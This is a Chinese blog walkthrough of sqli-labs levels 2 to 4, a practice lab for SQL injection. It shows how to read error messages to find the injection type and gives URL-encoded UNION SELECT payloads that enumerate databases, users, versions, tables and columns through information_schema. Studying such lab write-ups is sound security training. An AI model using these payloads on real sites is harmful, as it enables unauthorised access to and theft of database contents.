zoukankan      html  css  js  c++  java
  • sqli-labs(二)

    第二关:
    sqli-labs的第二关是有报错信息的int类型的sql注入,输入id=1'后也会报错,如下图

    可以看到报错信息种显示的是'' limit 0,1'  这处有错,其中前后两个单引符号是报错信息自己加上去的,所以真正在sql语句的字符串是 'limit 0,1  是可以看出来该处是个int类型的sql注入(如果是string类型的注入,报错一般是 ''1'' limit 0,1'。当然判断注入的类型也可以通过在后面加 and 1=1 以及 ' and '1'='1)

    操作步骤和第一关类似

    第一步:通过order by来判断表的列数

    id=1%20order%20by%203%23

    id=1%20order%20by%204%23

    第二步:查看数据库名,当前用户,数据库版本

    id=-1%20union%20select%201,group_concat(schema_name),concat_ws(':',user(),version(),database())%20from%20information_schema.schemata%23
    后面和第一关一样。。。。

    第三关:其实实际测试过程种,我们是不知道后台sql语句到底是怎样了,如果又报错信息就很好判断了

    第三关中输入id=1' 页面报错信息如下:

    这里我们还是将前后得'去除掉,sql语句片段是'1'') limit 0,1 

    可以看出这里是个string类型得注入,并且后台种带有括号,这里推测后台查询语句应该是select * from tables where id =( '***') limit 0,1

    现在再来看下实际得sql语句

    ok,我们还是按照之前得流程来

    第一步:使用order by来判断表的列数

    id=1')%20order%20by%203%20%23  正常

    id=1')%20order%20by%204%20%23   报错

    第二步:查出所有的数据库名,当前数据库名以及当前用户等信息

    id=-1')union%20select%201,group_concat(schema_name),concat_ws(':',user(),version(),database())%20from%20information_schema.schemata%23

    第三步:查询出security中所有的表名(注意这里的security需要用引号)

     id=-1')union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema='security'%23

    第四步:查询出user表中的列名

    id=-1')union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name='user'%23

    第四关

    还是老套路,输入?id=1',发现并没有报错(和直接输入id=1的页面显示的一样的)

    再输入?id=1",发现报错

    根据我们之前分析报错信息的方法很容易看出后台sql的拼凑方法,只不过是将第三关的单引符号改为了双引符号。

    后面的就不继续了,直接下一关吧。。。。

  • 相关阅读:
    android 的 ExpandableListView Example Tutorial
    EOS token 代币兑换的资料
    EOS 的网站及资料doc
    Cardano(ADA), EOS, RChain(RHOC), Aeternity(AE) 都是极其好的币
    zcash 的资料
    office很抱歉遇到一些临时服务器问题
    win10windows无法创建快捷方式 请检查磁盘
    FYI是什么意思?
    Wamp win10 1077error
    如何注销考拉?
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9500698.html
Copyright © 2011-2022 走看看